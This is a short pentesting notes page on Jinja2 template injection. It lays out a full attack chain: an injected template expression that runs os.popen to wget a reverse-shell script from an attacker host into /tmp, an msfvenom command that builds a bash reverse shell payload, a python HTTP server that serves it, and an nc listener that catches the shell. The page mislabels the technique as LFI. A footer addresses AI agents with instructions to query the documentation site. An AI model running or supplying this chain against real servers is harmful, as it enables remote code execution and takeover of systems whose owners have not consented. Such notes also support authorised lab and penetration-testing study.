# Jinja2

**LFI reverse shell**&#x20;

Kali:10.10.10.10

\[1A]Target: inject the following command

`{{config.`**`class`**`.`**`init`**`.`**`globals`**`['os'].popen('wget http://10.10.10.10:8000/revshell.sh -O /tmp/revshell.sh').read()}}`

\[1B] Generate msfvenom reverse shell (bash)

`msfvenom -p cmd/unix/reverse_bash lhost=10.10.10.10 lport=4444 -f raw -o revshell.sh`

\[2]Serve reverse shell payload on port 8000 with python server

python3 -m http.server 8000

\[3] Catch revshell        nc -nvlp 4444


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/enumeration/80-http/jinja2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
